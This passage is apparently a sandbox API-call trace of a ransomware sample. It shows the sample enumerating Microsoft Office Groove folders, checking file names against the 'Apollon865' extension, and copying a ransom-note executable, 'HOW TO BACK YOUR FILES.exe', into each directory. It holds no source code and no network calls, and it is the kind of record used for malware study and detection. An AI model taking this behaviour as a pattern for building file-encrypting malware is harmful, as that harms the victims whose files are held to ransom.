	[0070.852] lstrlenW (lpString="Apollon865") returned 10
	[0070.852] lstrcmpiW (lpString1="grade.html", lpString2="Apollon865") returned 1
	[0070.852] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsColorChart.html" | out: lpString1="FormsColorChart.html") returned="FormsColorChart.html"
	[0070.852] lstrlenW (lpString="FormsColorChart.html") returned 20
	[0070.852] lstrlenW (lpString="Apollon865") returned 10
	[0070.852] lstrcmpiW (lpString1="Chart.html", lpString2="Apollon865") returned 1
	[0070.852] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsFormTemplate.html" | out: lpString1="FormsFormTemplate.html") returned="FormsFormTemplate.html"
	[0070.852] lstrlenW (lpString="FormsFormTemplate.html") returned 22
	[0070.852] lstrlenW (lpString="Apollon865") returned 10
	[0070.852] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.853] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsHomePage.html" | out: lpString1="FormsHomePage.html") returned="FormsHomePage.html"
	[0070.853] lstrlenW (lpString="FormsHomePage.html") returned 18
	[0070.853] lstrlenW (lpString="Apollon865") returned 10
	[0070.853] lstrcmpiW (lpString1="ePage.html", lpString2="Apollon865") returned 1
	[0070.853] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsHomePageScript.js" | out: lpString1="FormsHomePageScript.js") returned="FormsHomePageScript.js"
	[0070.853] lstrlenW (lpString="FormsHomePageScript.js") returned 22
	[0070.853] lstrlenW (lpString="Apollon865") returned 10
	[0070.853] lstrcmpiW (lpString1="eScript.js", lpString2="Apollon865") returned 1
	[0070.853] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsHomePageStyle.css" | out: lpString1="FormsHomePageStyle.css") returned="FormsHomePageStyle.css"
	[0070.853] lstrlenW (lpString="FormsHomePageStyle.css") returned 22
	[0070.853] lstrlenW (lpString="Apollon865") returned 10
	[0070.853] lstrcmpiW (lpString1="eStyle.css", lpString2="Apollon865") returned 1
	[0070.853] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsImageTemplate.html" | out: lpString1="FormsImageTemplate.html") returned="FormsImageTemplate.html"
	[0070.853] lstrlenW (lpString="FormsImageTemplate.html") returned 23
	[0070.853] lstrlenW (lpString="Apollon865") returned 10
	[0070.853] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.853] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsMacroTemplate.html" | out: lpString1="FormsMacroTemplate.html") returned="FormsMacroTemplate.html"
	[0070.853] lstrlenW (lpString="FormsMacroTemplate.html") returned 23
	[0070.853] lstrlenW (lpString="Apollon865") returned 10
	[0070.853] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.853] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsPreviewTemplate.html" | out: lpString1="FormsPreviewTemplate.html") returned="FormsPreviewTemplate.html"
	[0070.853] lstrlenW (lpString="FormsPreviewTemplate.html") returned 25
	[0070.854] lstrlenW (lpString="Apollon865") returned 10
	[0070.854] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.854] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsPrintTemplate.html" | out: lpString1="FormsPrintTemplate.html") returned="FormsPrintTemplate.html"
	[0070.854] lstrlenW (lpString="FormsPrintTemplate.html") returned 23
	[0070.854] lstrlenW (lpString="Apollon865") returned 10
	[0070.854] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.854] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsStyles" | out: lpString1="FormsStyles") returned="FormsStyles"
	[0070.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0070.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xbe) returned 0x5aa638
	[0070.854] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0070.854] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1
	[0070.854] lstrcmpiW (lpString1="FormsVersion1Warning.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.854] lstrcmpiW (lpString1="FormsVersion1Warning.htm", lpString2="Apollon865.txt.exe") returned 1
	[0070.854] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsVersion1Warning.htm" | out: lpString1="FormsVersion1Warning.htm") returned="FormsVersion1Warning.htm"
	[0070.854] lstrlenW (lpString="FormsVersion1Warning.htm") returned 24
	[0070.854] lstrlenW (lpString="Apollon865") returned 10
	[0070.854] lstrcmpiW (lpString1="arning.htm", lpString2="Apollon865") returned 1
	[0070.854] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsViewAttachmentIcons.jpg" | out: lpString1="FormsViewAttachmentIcons.jpg") returned="FormsViewAttachmentIcons.jpg"
	[0070.854] lstrlenW (lpString="FormsViewAttachmentIcons.jpg") returned 28
	[0070.854] lstrlenW (lpString="Apollon865") returned 10
	[0070.854] lstrcmpiW (lpString1="tIcons.jpg", lpString2="Apollon865") returned 1
	[0070.854] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsViewAttachmentIconsMask.bmp" | out: lpString1="FormsViewAttachmentIconsMask.bmp") returned="FormsViewAttachmentIconsMask.bmp"
	[0070.854] lstrlenW (lpString="FormsViewAttachmentIconsMask.bmp") returned 32
	[0070.854] lstrlenW (lpString="Apollon865") returned 10
	[0070.854] lstrcmpiW (lpString1="nsMask.bmp", lpString2="Apollon865") returned 1
	[0070.855] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsViewFrame.html" | out: lpString1="FormsViewFrame.html") returned="FormsViewFrame.html"
	[0070.855] lstrlenW (lpString="FormsViewFrame.html") returned 19
	[0070.855] lstrlenW (lpString="Apollon865") returned 10
	[0070.855] lstrcmpiW (lpString1="Frame.html", lpString2="Apollon865") returned 1
	[0070.855] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormsViewTemplate.html" | out: lpString1="FormsViewTemplate.html") returned="FormsViewTemplate.html"
	[0070.855] lstrlenW (lpString="FormsViewTemplate.html") returned 22
	[0070.855] lstrlenW (lpString="Apollon865") returned 10
	[0070.855] lstrcmpiW (lpString1="plate.html", lpString2="Apollon865") returned 1
	[0070.855] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FormToolImages.jpg" | out: lpString1="FormToolImages.jpg") returned="FormToolImages.jpg"
	[0070.855] lstrlenW (lpString="FormToolImages.jpg") returned 18
	[0070.855] lstrlenW (lpString="Apollon865") returned 10
	[0070.855] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0070.855] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="form_edit.js" | out: lpString1="form_edit.js") returned="form_edit.js"
	[0070.855] lstrlenW (lpString="form_edit.js") returned 12
	[0070.855] lstrlenW (lpString="Apollon865") returned 10
	[0070.855] lstrcmpiW (lpString1="rm_edit.js", lpString2="Apollon865") returned 1
	[0070.855] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="LAUNCH.GIF" | out: lpString1="LAUNCH.GIF") returned="LAUNCH.GIF"
	[0070.855] lstrlenW (lpString="LAUNCH.GIF") returned 10
	[0070.855] lstrlenW (lpString="Apollon865") returned 10
	[0070.855] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="macroprogress.gif" | out: lpString1="macroprogress.gif") returned="macroprogress.gif"
	[0070.855] lstrlenW (lpString="macroprogress.gif") returned 17
	[0070.855] lstrlenW (lpString="Apollon865") returned 10
	[0070.855] lstrcmpiW (lpString1="ogress.gif", lpString2="Apollon865") returned 1
	[0070.856] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="PublicFunctions.js" | out: lpString1="PublicFunctions.js") returned="PublicFunctions.js"
	[0070.856] lstrlenW (lpString="PublicFunctions.js") returned 18
	[0070.856] lstrlenW (lpString="Apollon865") returned 10
	[0070.856] lstrcmpiW (lpString1="nctions.js", lpString2="Apollon865") returned 1
	[0070.856] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_alignleft.gif" | out: lpString1="rtf_alignleft.gif") returned="rtf_alignleft.gif"
	[0070.856] lstrlenW (lpString="rtf_alignleft.gif") returned 17
	[0070.856] lstrlenW (lpString="Apollon865") returned 10
	[0070.856] lstrcmpiW (lpString1="gnleft.gif", lpString2="Apollon865") returned 1
	[0070.856] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_alignright.gif" | out: lpString1="rtf_alignright.gif") returned="rtf_alignright.gif"
	[0070.856] lstrlenW (lpString="rtf_alignright.gif") returned 18
	[0070.856] lstrlenW (lpString="Apollon865") returned 10
	[0070.856] lstrcmpiW (lpString1="nright.gif", lpString2="Apollon865") returned 1
	[0070.856] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="RTF_BOLD.GIF" | out: lpString1="RTF_BOLD.GIF") returned="RTF_BOLD.GIF"
	[0070.856] lstrlenW (lpString="RTF_BOLD.GIF") returned 12
	[0070.856] lstrlenW (lpString="Apollon865") returned 10
	[0070.856] lstrcmpiW (lpString1="F_BOLD.GIF", lpString2="Apollon865") returned 1
	[0070.856] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_bullets.gif" | out: lpString1="rtf_bullets.gif") returned="rtf_bullets.gif"
	[0070.856] lstrlenW (lpString="rtf_bullets.gif") returned 15
	[0070.857] lstrlenW (lpString="Apollon865") returned 10
	[0070.857] lstrcmpiW (lpString1="ullets.gif", lpString2="Apollon865") returned 1
	[0070.857] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_center.gif" | out: lpString1="rtf_center.gif") returned="rtf_center.gif"
	[0070.857] lstrlenW (lpString="rtf_center.gif") returned 14
	[0070.857] lstrlenW (lpString="Apollon865") returned 10
	[0070.857] lstrcmpiW (lpString1="center.gif", lpString2="Apollon865") returned 1
	[0070.857] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_choosecolor.gif" | out: lpString1="rtf_choosecolor.gif") returned="rtf_choosecolor.gif"
	[0070.857] lstrlenW (lpString="rtf_choosecolor.gif") returned 19
	[0070.857] lstrlenW (lpString="Apollon865") returned 10
	[0070.857] lstrcmpiW (lpString1="ecolor.gif", lpString2="Apollon865") returned 1
	[0070.857] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_choosefont.gif" | out: lpString1="rtf_choosefont.gif") returned="rtf_choosefont.gif"
	[0070.857] lstrlenW (lpString="rtf_choosefont.gif") returned 18
	[0070.857] lstrlenW (lpString="Apollon865") returned 10
	[0070.857] lstrcmpiW (lpString1="sefont.gif", lpString2="Apollon865") returned 1
	[0070.858] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_decreaseindent.gif" | out: lpString1="rtf_decreaseindent.gif") returned="rtf_decreaseindent.gif"
	[0070.858] lstrlenW (lpString="rtf_decreaseindent.gif") returned 22
	[0070.858] lstrlenW (lpString="Apollon865") returned 10
	[0070.858] lstrcmpiW (lpString1="indent.gif", lpString2="Apollon865") returned 1
	[0070.858] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_hyperlink.gif" | out: lpString1="rtf_hyperlink.gif") returned="rtf_hyperlink.gif"
	[0070.858] lstrlenW (lpString="rtf_hyperlink.gif") returned 17
	[0070.858] lstrlenW (lpString="Apollon865") returned 10
	[0070.858] lstrcmpiW (lpString1="erlink.gif", lpString2="Apollon865") returned 1
	[0070.858] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_increaseindent.gif" | out: lpString1="rtf_increaseindent.gif") returned="rtf_increaseindent.gif"
	[0070.858] lstrlenW (lpString="rtf_increaseindent.gif") returned 22
	[0070.858] lstrlenW (lpString="Apollon865") returned 10
	[0070.858] lstrcmpiW (lpString1="indent.gif", lpString2="Apollon865") returned 1
	[0070.858] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_italic.gif" | out: lpString1="rtf_italic.gif") returned="rtf_italic.gif"
	[0070.858] lstrlenW (lpString="rtf_italic.gif") returned 14
	[0070.858] lstrlenW (lpString="Apollon865") returned 10
	[0070.858] lstrcmpiW (lpString1="italic.gif", lpString2="Apollon865") returned 1
	[0070.858] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_justify.gif" | out: lpString1="rtf_justify.gif") returned="rtf_justify.gif"
	[0070.858] lstrlenW (lpString="rtf_justify.gif") returned 15
	[0070.858] lstrlenW (lpString="Apollon865") returned 10
	[0070.858] lstrcmpiW (lpString1="ustify.gif", lpString2="Apollon865") returned 1
	[0070.859] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_pressed.gif" | out: lpString1="rtf_pressed.gif") returned="rtf_pressed.gif"
	[0070.859] lstrlenW (lpString="rtf_pressed.gif") returned 15
	[0070.859] lstrlenW (lpString="Apollon865") returned 10
	[0070.859] lstrcmpiW (lpString1="ressed.gif", lpString2="Apollon865") returned 1
	[0070.859] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_spellcheck.gif" | out: lpString1="rtf_spellcheck.gif") returned="rtf_spellcheck.gif"
	[0070.859] lstrlenW (lpString="rtf_spellcheck.gif") returned 18
	[0070.859] lstrlenW (lpString="Apollon865") returned 10
	[0070.859] lstrcmpiW (lpString1="lcheck.gif", lpString2="Apollon865") returned 1
	[0070.859] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="rtf_underline.gif" | out: lpString1="rtf_underline.gif") returned="rtf_underline.gif"
	[0070.859] lstrlenW (lpString="rtf_underline.gif") returned 17
	[0070.859] lstrlenW (lpString="Apollon865") returned 10
	[0070.859] lstrcmpiW (lpString1="erline.gif", lpString2="Apollon865") returned 1
	[0070.859] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="SAVE.GIF" | out: lpString1="SAVE.GIF") returned="SAVE.GIF"
	[0070.859] lstrlenW (lpString="SAVE.GIF") returned 8
	[0070.859] lstrlenW (lpString="Apollon865") returned 10
	[0070.859] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="SUBMIT.JS" | out: lpString1="SUBMIT.JS") returned="SUBMIT.JS"
	[0070.859] lstrlenW (lpString="SUBMIT.JS") returned 9
	[0070.859] lstrlenW (lpString="Apollon865") returned 10
	[0070.859] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="utilityfunctions.js" | out: lpString1="utilityfunctions.js") returned="utilityfunctions.js"
	[0070.859] lstrlenW (lpString="utilityfunctions.js") returned 19
	[0070.859] lstrlenW (lpString="Apollon865") returned 10
	[0070.859] lstrcmpiW (lpString1="nctions.js", lpString2="Apollon865") returned 1
	[0070.860] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="validation.js" | out: lpString1="validation.js") returned="validation.js"
	[0070.860] lstrlenW (lpString="validation.js") returned 13
	[0070.860] lstrlenW (lpString="Apollon865") returned 10
	[0070.860] lstrcmpiW (lpString1="idation.js", lpString2="Apollon865") returned 1
	[0070.860] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="VIEW.ICO" | out: lpString1="VIEW.ICO") returned="VIEW.ICO"
	[0070.860] lstrlenW (lpString="VIEW.ICO") returned 8
	[0070.860] lstrlenW (lpString="Apollon865") returned 10
	[0070.860] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="VIEW.JS" | out: lpString1="VIEW.JS") returned="VIEW.JS"
	[0070.860] lstrlenW (lpString="VIEW.JS") returned 7
	[0070.860] lstrlenW (lpString="Apollon865") returned 10
	[0070.860] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ViewHeaderPreview.jpg" | out: lpString1="ViewHeaderPreview.jpg") returned="ViewHeaderPreview.jpg"
	[0070.860] lstrlenW (lpString="ViewHeaderPreview.jpg") returned 21
	[0070.860] lstrlenW (lpString="Apollon865") returned 10
	[0070.860] lstrcmpiW (lpString1="review.jpg", lpString2="Apollon865") returned 1
	[0070.860] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles"
	[0070.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0070.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0070.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles") returned 94
	[0070.860] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles"
	[0070.860] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.860] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.867] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.867] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x424f9930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x424f9930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0070.868] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.868] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.868] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Adobe.css" | out: lpString1="Adobe.css") returned="Adobe.css"
	[0070.868] lstrlenW (lpString="Adobe.css") returned 9
	[0070.868] lstrlenW (lpString="Apollon865") returned 10
	[0070.868] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Americana" | out: lpString1="Americana") returned="Americana"
	[0070.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe88
	[0070.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd2) returned 0x5a3720
	[0070.868] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe90 | out: ListHead=0x5b76b0, ListEntry=0x59fe90) returned 0x59fe70
	[0070.868] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1
	[0070.868] lstrcmpiW (lpString1="Americana.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.868] lstrcmpiW (lpString1="Americana.css", lpString2="Apollon865.txt.exe") returned -1
	[0070.869] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Americana.css" | out: lpString1="Americana.css") returned="Americana.css"
	[0070.869] lstrlenW (lpString="Americana.css") returned 13
	[0070.869] lstrlenW (lpString="Apollon865") returned 10
	[0070.869] lstrcmpiW (lpString1="ricana.css", lpString2="Apollon865") returned 1
	[0070.869] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="BabyBlue" | out: lpString1="BabyBlue") returned="BabyBlue"
	[0070.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0070.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd0) returned 0x5a5368
	[0070.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0070.869] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1
	[0070.869] lstrcmpiW (lpString1="BabyBlue.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.869] lstrcmpiW (lpString1="BabyBlue.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.869] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="BabyBlue.css" | out: lpString1="BabyBlue.css") returned="BabyBlue.css"
	[0070.869] lstrlenW (lpString="BabyBlue.css") returned 12
	[0070.869] lstrlenW (lpString="Apollon865") returned 10
	[0070.869] lstrcmpiW (lpString1="byBlue.css", lpString2="Apollon865") returned 1
	[0070.869] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Biscay" | out: lpString1="Biscay") returned="Biscay"
	[0070.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0070.869] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xcc) returned 0x5a5440
	[0070.869] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0070.869] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1
	[0070.869] lstrcmpiW (lpString1="Biscay.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.869] lstrcmpiW (lpString1="Biscay.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.869] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Biscay.css" | out: lpString1="Biscay.css") returned="Biscay.css"
	[0070.869] lstrlenW (lpString="Biscay.css") returned 10
	[0070.869] lstrlenW (lpString="Apollon865") returned 10
	[0070.870] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="BrightOrange" | out: lpString1="BrightOrange") returned="BrightOrange"
	[0070.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0070.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd8) returned 0x5a3800
	[0070.870] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0070.870] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1
	[0070.870] lstrcmpiW (lpString1="BrightOrange.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.870] lstrcmpiW (lpString1="BrightOrange.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.870] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="BrightOrange.css" | out: lpString1="BrightOrange.css") returned="BrightOrange.css"
	[0070.870] lstrlenW (lpString="BrightOrange.css") returned 16
	[0070.870] lstrlenW (lpString="Apollon865") returned 10
	[0070.870] lstrcmpiW (lpString1="Orange.css", lpString2="Apollon865") returned 1
	[0070.870] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="BrightYellow" | out: lpString1="BrightYellow") returned="BrightYellow"
	[0070.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff08
	[0070.870] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd8) returned 0x5a0c58
	[0070.870] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff10 | out: ListHead=0x5b76b0, ListEntry=0x59ff10) returned 0x59fef0
	[0070.870] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1074, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1
	[0070.870] lstrcmpiW (lpString1="BrightYellow.css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.870] lstrcmpiW (lpString1="BrightYellow.css", lpString2="Apollon865.txt.exe") returned 1
	[0070.870] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="BrightYellow.css" | out: lpString1="BrightYellow.css") returned="BrightYellow.css"
	[0070.870] lstrlenW (lpString="BrightYellow.css") returned 16
	[0070.870] lstrlenW (lpString="Apollon865") returned 10
	[0070.870] lstrcmpiW (lpString1="Yellow.css", lpString2="Apollon865") returned 1
	[0070.870] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Casual.css" | out: lpString1="Casual.css") returned="Casual.css"
	[0070.870] lstrlenW (lpString="Casual.css") returned 10
	[0070.870] lstrlenW (lpString="Apollon865") returned 10
	[0070.870] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Country.css" | out: lpString1="Country.css") returned="Country.css"
	[0070.870] lstrlenW (lpString="Country.css") returned 11
	[0070.871] lstrlenW (lpString="Apollon865") returned 10
	[0070.871] lstrcmpiW (lpString1="ountry.css", lpString2="Apollon865") returned 1
	[0070.871] lstrcpyW (in: lpString1=0x2d3e60e, lpString2="Desert" | out: lpString1="Desert") returned="Desert"
	[0070.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59ff28
	[0070.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xcc) returned 0x5a5518
	[0070.871] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59ff30 | out: ListHead=0x5b76b0, ListEntry=0x59ff30) returned 0x59ff10
